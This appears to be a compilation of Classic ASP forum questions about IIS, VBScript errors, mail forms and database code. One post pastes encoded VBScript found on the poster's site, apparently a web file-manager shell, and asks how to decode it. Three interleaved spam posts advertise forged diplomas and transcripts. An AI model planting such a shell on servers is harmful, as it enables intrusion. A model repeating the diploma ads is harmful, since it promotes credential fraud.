Hi,

I'm new to asp and i have to work on existing asp application. While calling the asp file using ajax i'm getting the error "

Microsoft VBScript compilation error '800a0401'

Expected end of statement"

/login/handle_public.asp, line 1

asp_handle_public();

The above file contains only one line of code which is <% asp_handle_public(); %>

Please help to solve this issue, can you please tell me the reason why it is showing this error? In my project all the asp files are with one line of code as mentioned above.

I want to know, these functions are running on the server side or client side?

Please help me to resolve this issue ASAP.

Thanks for any help

Regards,

Ram.

Hi my previous thread on this was closed. However not it was answered.

We're running classic asp on WS 2012 and are getting errors using the VB format function e.g. transposed dates etc.

A forum member  pointed me towards checking settings.

I checked the date format settings and they all look fine.

I did read somewhere that it may be to do with the wp-config file GB-en settings but can't find that webpage again.

Thing is our IT manager has got us writing some custom functions to replace calling the VB format function - surely we shouldn't have to do this. Has anyone else done this ?

Thanks for your help.

We have classic asp website - moved from microsoft windows server 2003 to microsoft windows server 2012 R2.  On one server box, the vbscript "On Error Resume Next" works as expected, however on another server, the "On Error Resume Next" seems to work but the Err object is not reset as it is on the first box? Is there a setting in server 2012 that would effect how On Error Resume Next would work? (This website is the same on both boxes).

Comparing two datetime fields and the following statement returns 0 regardless of birthdate

<%
Dim overage
If rs_student_list.Fields.Item("grade") = 8 AND rs_student_list.Fields.Item("birthdate") > rs_school.Fields.Item("grd_8_age") Then
overage = 1
ElseIf rs_student_list.Fields.Item("grade") = 7 AND rs_student_list.Fields.Item("birthdate") > rs_school.Fields.Item("grd_7_age") Then
overage = 1
ElseIf rs_student_list.Fields.Item("grade") = 6 AND rs_student_list.Fields.Item("birthdate") > rs_school.Fields.Item("grd_6_age") Then
overage = 1
Else
overage = 0
End If 
%>

Hi,

Classic ASP page file upload with ADORecordSet.Update with form enctype='Multipart/Formdata' works well with IIS 6.0 but On IIS 7.5 browser waits indefinitely waiting for response also application hangs. All other sessions after file upload in one session (user) will stop working.

VBScript.dll version 5.8.7601.19104 is installed on windows server 2008 R2 Enterprise edition with Service pack 1.

The file gets stored into database, but no response. To make application work we need to recycle the application pool, restart windows process activation services every time.

Application is running on a separate application pool with

Enable 32 bit applications        True.

.Net framework version  No managed Closed.

Managed Pipleline mode    Classic.

Identity                                Application Pool identity

Authetication              winodws integrated authetication

Tried with Ping Enabled to False, increased MaxRequestEntityAllowed  9437184, shutdown time limit increased to 90 to 600. There is luck.

Administrative events logs below messgages

A worker process '1888' serving application pool 'Classic ASP' failed to stop a listener channel for protocol 'http' in the allotted time.  The data field contains the error number 5138.

A process serving application pool 'Classic ASP' exceeded time limits during shut down. The process id was '3976'. 

Looks for it is problem with IIS 7.5. Tried various configurations on Application Pool and ASP settings without any luck.

Thanks in advance for your help

I have a test page written in ASP that returns the value of the server variable: "SERVER_PROTOCOL".

<% Response.Write(Request.ServerVariables("SERVER_PROTOCOL")) %>

When I run this on an IIS 10 server, the result is always HTTP/1.1, even when the connection is HTTP/2.0.

I am using the IIS logs to verify this condition.

2016-09-19 16:00:32 W3SVC1 2001:xxxx:xxxx:xxxx:xxxx:d9a2:e67d:4857 GET / - 443 - 2001:xxxx:xxxx:xxxx:xxxx:83bd:c1e2:3d26 HTTP/2.0 Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/53.0.2785.116+Safari/537.36 - xxxx.xxxx.net 200 0 0 1406 457 98

Has anyone else run into this issue?

Any one can help on tls1.2 issue with classic asp.
We have installed TLS1.2 in SQL server 2012(OS -windows 2012 R2)  for security and enabled 'encrypt = true' in oledb connection string in my classic asp connection string. connection is failing. is tls 1.2 is compatible with classic asp application?
my connection string in classic asp application.
"Provider=SQLOLEDB.1;;Persist Security Info=False; Initial Catalog=DBName; Data Source=ServerName;Use Procedure for Prepare=1;Auto Translate=True; Packet Size=4096 ;encrypt=yes; TrustServerCertificate=True; User ID=webUser; Password=XXXXX"

Thank You in advance.
Sankar.

Hello - I am in need of some help with a mail form.  The form I created works except that I need a few tweaks and I'm hoping someone can point me in the right direction.

I need help with two things - probably simple for most.

1) In my web form I have a box for filling out an email address.  But instead of the person filling out the entire email, I want them to just fill out the first part, not the domain name - since all of the email address will belong to the same domain.  So for example - in the form I would enter joe.smith   The form field name for that part is emailw.  When you hit the Submit button, an email is sent to the person who just filled out the form, with the information they submitted.

So in my code for sending the email - how do I write the code so that emailw is sent but also with the constant xxx.com?  So that wayjoe.smith@xxx.com get the email??  I hope I'm not confusing anyone.

2) In my ASP code I have this line for what text should be sent in an email:

myMail.TextBody=vdetails

vdetails is a textarea box that has information in it.  However, I need other form fields sent in the email such as fname(first name), lname (last name), etc...

How do I write code that will include those fields, as well as the vdetails part?

Any help would be very much appreciated!!!

Hi,

I'm preparing the migration of some classic ASP sites from IIS 8.5 (Windows 2012) to IIS 10.0. Currently I'm using Windows 10 as my "test" platform. The sites run fine and fast except for certain pages that take significantly more time to complete, like more than 10 seconds compared to less than 1 second when requested on IIS 8.5. The sites hit a SQL Server database and use a 32-bit COM object but neither seem to be causing the issue as many "fast" pages use both and when troubleshooting the "slow" pages the SQL queries run fast. I've installed failed-request tracing and nothing jumps out other than that some ASP statements seem to take a lot of time. One in particular jumps out, the Eval() function, but it works fine, just seems slow.

Does anyone else have these issues? Any ideas?

I have a Classic ASP web application that sends email using CDOSYS for our Service Requests. Everything was working just fine. All of a sudden I am receiving multiple copies of the emails. 

• The OS is Windows Server 2008 R2 with IIS 7
• The last email sent normally was sent on 9/15 at 2:04 PM
• The first email that has been sent repeatedly was first sent on 9/16 at 11:46 AM
• Each email seems to be a uniquely sent email based on the message headers. 
• There were no relevant events recorded. 
• No change was made to the code.

Does anybody have an idea what may be causing this?

Hello, 

Our company is trying to secure our connection strings in our production environment.  Part of this effort is to keep production passwords out of the hands of our developers as well as keep them safe from hackers.  Is there a way to encrypt the global.asa, so prying eyes can't gain access to the sensitive data that is stored there in plain text?

Using IIS 7 with classic ASP and when the web app runs a session.abandon it appears that all the sessions on the machine are abandoned and all users get kicked out.

Any help with this would be appreciated. Thanks.

The HTTP verb POST used to access path '/wwwroot/ESIS_SQL/CheckIP.asp' is not allowed

20 hours, 14 minutes ago|rdesai2859|LINK

I am getting the above error. Direct call to Call to CheckIP.asp in a browser (http://workshttp://servername/ESIS_SQL/CheckIP.asp?Action=1) works fine and returns the following response in nicely formatted xml page:

<?xml version="1.0" encoding="ISO-8859-1"?>

<esis><Area>*</Area>

<IP>x.x.x.x</IP>

<Options>0</Options>

<Status>2</Status>

<Level>1</Level>

</esis>

-------

This is used to be a no problem before but the server had crashed with hard-drive failure and has been rebuilt from scratch. Wonder if it is some kinda IIS Settings or PATH alias is causing this error. Any help on the issue will be highly appreciated.

Here is the simple CheckIP function definition:

-----

function CheckIPAddress()

{

if (window.XMLHttpRequest)

{// code for IE7+, Firefox, Chrome, Opera, Safari

xmlhttp=new XMLHttpRequest();

}

else

{// code for IE6, IE5

xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

}

xmlhttp.open("POST","CheckIP.asp?Action=1",false);

xmlhttp.send();

xmlDoc=xmlhttp.responseXML;

CheckErrMsg(xmlDoc)

top.botw.document.forms.ESIS.InitStatus.value = xmlDoc.getElementsByTagName("Status")[0].childNodes[0].nodeValue;

top.topw.document.forms.ESIS.IPAddress.value = xmlDoc.getElementsByTagName("IP")[0].childNodes[0].nodeValue;

top.botw.document.forms.ESIS.ErrorNumber.value='0';

if (top.botw.document.forms.ESIS.InitStatus.value==2)

{

top.topw.document.forms.ESIS.Session.value=xmlDoc.getElementsByTagName("Area")[0].childNodes[0].nodeValue + xmlDoc.getElementsByTagName("IP")[0].childNodes[0].nodeValue;

SetConfig(xmlDoc.getElementsByTagName("Options")[0].childNodes[0].nodeValue)

}

else

{

top.topw.document.forms.ESIS.Session.value='';

}

}

-------

I wonder what settings or right is required?! It is not even allowing a call to a file (CheckIP.asp in this case) which exists in the same folder as the calling program (url :http://<servername>\ESIS_SQL|ESISFrame.html) . It may have to do with website root - Default web site has physical path "%SystemDrive%\inetpub\wwwroot" and my domain credentials are used for "Connect as.." and "Test Settings" returns green check-mark for both Authentication as Authorization. Handler mapping for *.asp is fine as well, i.e., *.asp is Enabled for "file" using IsapiModule with Executable "%windir%\system32\inetsrv\asp.dll".

Thanks in advance for your help!

New to ASP and kind of making a stab in the dark here so all apologies if I'm in the wrong place.

Trying to update an old web site in ASP (though not .net) and need to unzip files.

In MS Word VBA this code runs on the server that is serving up the ASP page, so I'm relatively sure the server has everything I need to use this code (Windows Server 2003 R2).

    ZipFile ="V:\z_ScheduleProjects\014\TestFiles\AdamsPapers_DOTM.zip"Set objshell = CreateObject("Shell.Application")Set FilesInZip = objshell.NameSpace(ZipFile).Items
    Debug.Print FilesInZip.Count

Running in ASP however I'm getting an error 80070002 on the NameSpace line trying to get the items in the zip file.

I've not been able to find a definitive answer as to what that error code means so my first question is what is that. Is there a list some where of these error codes?

Second question would obviously be why would it run in VBA but not the ASP.

Thank you,
Ken

I need to display data from two separate fields in a .mdb file, and I can't envision how this is done. I'd like it to display the data like this:

I set my access database like this:

I've already created a page for this and plugged in some of the info, but I can't figure out how to display multiple fields. 

I thought this would work:

<% do until myResults.EOF %><tr><td><% response.write myResults.Fields.Item("categories").Value %></td><td><% response.write myResults.Fields.Item("salary").Value %></td><td><% response.write myResults.Fields.Item("respondents").Value %></td></tr><% myResults.MoveNext
               loop %>

...but this shows all of the information in the database. For this example I just need the ones under "byBusinessSector" to show in this table. 

I think I may have built the database wrong. Can .asp pages only read one data cell at a time? I'm not sure.

办加拿大学#位证/温哥华岛大学毕#业证#文凭/成#绩单Q!微627212264#温哥华岛大学学历#认证#毕#业证￥成#绩单/使馆#认证 (VIU)Vancouver Island University

办美国学#位证√Gatech毕#业证#文#凭/成#绩单Q!微627212264，佐治亚理工学院学历#认证#毕#业证：成#绩单∶使馆#认证Georgia Institute of Technology  

办美国学#位证√Diploma毕#业证#文#凭/成#绩单Q!微627212264，利哈伊大学学#历认证#毕#业证：成#绩单∶使馆#认证 Lehigh University

Helping someone knows how to solve it ? Cry wanted to know what is
hidden in these command lines and power someone could tell me what and this encryption
and tell how to decrypt . and if you have any descript online to decrypt and know what 
is in these lines of code found within my site? Help remembering the file where it was and .asp



<%#@~^swoAAA==7U+U4l,'P^WT;/MPQP^WL2m//@#@&d;WxkO~h6"WGY~x,J&J@#@&d;WUdDPhna;tCDUnDPx,J&?r %RX, FE@#@&d/G    /Y,dtKhCb[[+    qD+h/~x,Y.E@#@&iZGUkYP^C^m;VmOKGDl^?k.+,xPDD;+@#@&7/Kx/D~mmVm!sCYsKV[+.jbynP{~YMEn@#@&dZGUkY~+9rDl8^+A6YxkrW    /~',JM4D:e-MtD:VCkMlkwCuMldCCuMYXOe-erU1euM^k/MuCCkwaCuCL/CuC-4kekektOhCuek4YsVe-Ma:^e-ea/sM-esWTMJ@#@&7/Kx/O~7knhm8^+3XYx/bW    dP{PEeTkWM-eLaLe-eLanLe-eaxLekM(:2e-MLa+ME@#@&djnM\nDcj1DraY:k:W!OP{Pf!Z@#@&7;WxkOPmwwgCh+,',J)?K~A62VK.+MP$CkkmE@#@&d/W    dDPCawj+DkkKUP{PEFc&E@#@&dfbhPkmDb2O1m:@#@&dd^Mk2YgC:Px~"+;;nkY ?.7+.jlMkl(Vd`r?/I&nPmgbHAE#i@#@&i9r:,sUr@#@&7jY~sU6P{PdnM\+. ;DnlDn}4%mDP`r?1.kaYrxTRor^+?HdY:r(%nmDJ*@#@&d9rsPA+X(N@#@&7A6q[~{PCwaHm:n,[,lwa../bWUPLPERrP[,o?}RMOKlM+    YoWs[DHlsn`km.raY1Ch#~[,E J7@#@&ifksPSn6t+d/monS,h+X]WKYnmO4@#@&d;WU/O~bmGxwGV9+.6a+x$rTPxPr@!b:L,l^ko    'm8/sk[N^+~8KDN.'ZPhb[Ot{&yP4+rL4Yx F~/MmxErtYO2=z&hSAclda+XwVKD.R0kOR    +O&6WV9nD|WwUm4bocor0EE@*J@#@&i/W    /O~bmWUoKV[+MiaPx,J@!k:TPmskTxxl(/hr9NV~4KDN.x!,hbNOtxqlP4+bLtD'qf,P/.^{JEtDOa)&JhShRm/an6aVGDD VbYR    nYJ0W^[nD|EaRLkWErPCVDxJr?;8bDP;h,xr\srJ@*r@#@&dZKxkOPbmGxwWs[DP{~J@!k:T~CVbo    'C4dhbN[V~4KD[nM'!~AbNOt{qlP4kTtY{F2~/MmxJrtOOa)zJAhSRlk2n6aVKDnD VbY xOz6Ws[DRLr6JEPmsD'Ernm/YmP ~Z^k5EP2CMlPsCkkPNOCV4+kJE@*E@#@&d/W    dY,k^G    sksn,'~J@!rso~mVbox{l(d:bN[VP8GMN+Mx!,hk9O4'8F,tnkL4D'qc,dD1'EE4YY2lJzAhS m/26aVWM+M 3bY xY&WbV+cLk6JJ,CsY{Jrb.;;r7W~O,/Vb;;n,wl.C,:Ckk~9+OmV4+/rJ@*E@#@&d/W    /O~bmW    ok^+29rOl(VPxPE@!b:LPmskTxxC(/:r[9VnP(GMNnM'ZPhbND4'8F~tkL4D'FW~/Mm'rE4YDw=z&hAAcldwaw^W.nMR3rOcxnYJWbVn|+9kYm4^nRTkWJrPCsD'Jr)D$Ek7G~NP:+aYG~ P/Vb5EP2CMlPhCb/~NOmV4/rJ@*r@#@&7ZKxdY,k^G    sk^n.b+hm8s+,',J@!khL,lskTU'm4dhbNNsn,4GD9nM'T,hbNY4'8qP4+ro4YxqWP/M^'rJtDO2)JzShARCda+aw^GDD VbYRUnDzWk^n|\rhm4VRTr0rJ~l^YxErsWDGP PZ^r5EPal.l~-DEJ@*Ed@#@&7/Kx/O~bmGx"n6Dnkt,'Pr@!bho,lskTxxC(/:b[N^+P(G.ND{!~hr[Dtx 8~tkL4D' T~kD^'rE4YOa)JzhShcC/a+aw^W.nMR3bOR    +YJ.n0M+kt orWrJ~l^O'rJ)O!lVr"mD~SbdDl~9+,bD$E!r\K/EJ@*J@#@&iZW    dY,kmKU/DlD+oksn,'~J@!r:TPCsboxxC(/hk9[^+~(WMN+M'Z~hbNOt{ q~4+kT4Y{ !,d.m{JrtOY2lJzAhS lkwnaaVW.nMRVkD     +OJmM+lD+|Wk^+ ob0EE,lVDxJrZDbC.P    W7W~l.5!k-WrE@*r@#@&7;WxdO,k^W    /M+CD+wWV9+M~',J@!kso~C^ko    xl(/:b[[VP(W.Nn.{!~hb[Y4'+q,t+rL4Yx Z~kD^{JrtYDw=&zShARm/2nXwVK.+MR3bO xYJm.+CO{WW^[+MRLr6JJ~C^YxJr/MkCMP    W\mPaC/DlEJ@*J@#@&iZW    dY,kmKUiw^WmN~'~E@!kho,CVboUxm4/hr9Ns+,8KD[D{!PSk9Ot{ qP4+rL4Y'yTPkDm{EEtDYa)&zAASRC/an6aVG.DRVrDRU+D&!wsKl9Rob0rEPmVO'rJ3U7klM~lM;Eb-G/rJ@*J@#@&7/KxdY,rmKxJGTWEO~{PE@!bhTPC^kTx'm4khk9Ns+,4G.9+D{TPSkND4x 8P4+ro4O{ TPk.m{JE4DYwl&JhAhcCkwnXw^WDDcVkDRU+DzsGTWED ob0Jr~CVD'rJjlr.rJ@*J@#@&d;WUdDPk^G    fnVOPx,J@!k:TPmskTxxl(/hr9NV~4KDN.x!,hbNOtx+8P4+bLtD'+T,/D^xrJ4YD2=z&ShSRlkwaw^W.+MRVrDRxOz9+VOnRTk6JEPCsD'EJm2lTl.Er@*J@#@&i?;4,uD:s_+mN+MPvOkDVn~,m4CM/+Db@#@&x3cDAA==^#~@%>

<%#@~^GwAAAA==uD:sUYHV+@#@&_O:^9C\m?^.bwYSQkAAA==^#~@%>
</head>
<body bgcolor="#000000" text="#FF8C00">
<%#@~^yAEAAA==7@#@&7Ax9P?!4@#@&dUE8P_YhswWWDnD,`#@#@&@#@&M+kwGxdnch.kDnPr@!&8KNX@*@!JtO:^@*rd@#@&@#@&d2    N,jE(@#@&@#@&dj;(PCDhV;WwH.ro4Yv#7@#@&]/2W    d+c.rD+PE@!Dl8V~1+s^/almbxTx!,mnV^wC[9kxTx!,4WM[nD{!,lskLU{mnxDnD@*@!O.@*@!Y[@*@!l~tMn6'v4YDw)JzSAhcYn:b/UnDRmKhR(DzE@*@!0KxDPWl^n{B-+M[l    lv~kkynxE vP1G^W.{B[&&2&2fB,/OX^+xv:2(:RfAZr")Pq}1=PUWUnE@*)?h~2XwsGM+D~8HPP+srk1nDPq+4hDK[ELm^+9ksILWYbsNi+k@!&0KxD@*@!zC@*@!zON@*@!zDD@*@!JYl8s@*E@#@&7Ax[,?!4d@#@&ijE(PuYsVjOHV+,KIIAAA==^#~@%>
<style>

Hi Team,

I have a dropdown and a text box.

Based on the change in the dropdown 'within_year' selected,the text box 'followup_date' value should be updated.

<tr>
<td><b>Timeline</b></td>
<td><select id="within_year"   >
<% do while not otimeline.eof %>
<option value="<%= otimeline("value")%>" <% if otimeline("value") = ors("within_year") then response.write " selected"%>><%= otimeline("label_en") %></option>
<% otimeline.movenext
loop %>
</select>
</td>
</tr>
<tr>
<td><b>Followup Date</b></td>
<td><input type="text" id="followup_date" value="" o_type="oID:<%= oID%>"/></td><!--value="<%= ors("date_identified")%>"-->
</tr>

current values in the dropdown list are 

1.in the next 7-10 Days

2.in the next 10-30 Days

for example if the first one is selected.followupdate should be updated to todays date+ 10 days = 09/16/2016

or if 2nd option is selected,followupdate should be updated to todays date+ 30days = 10/06/2016

Please suggest the code.Please add the changes to the existing code mentioned above.

Thanks,

Navatha.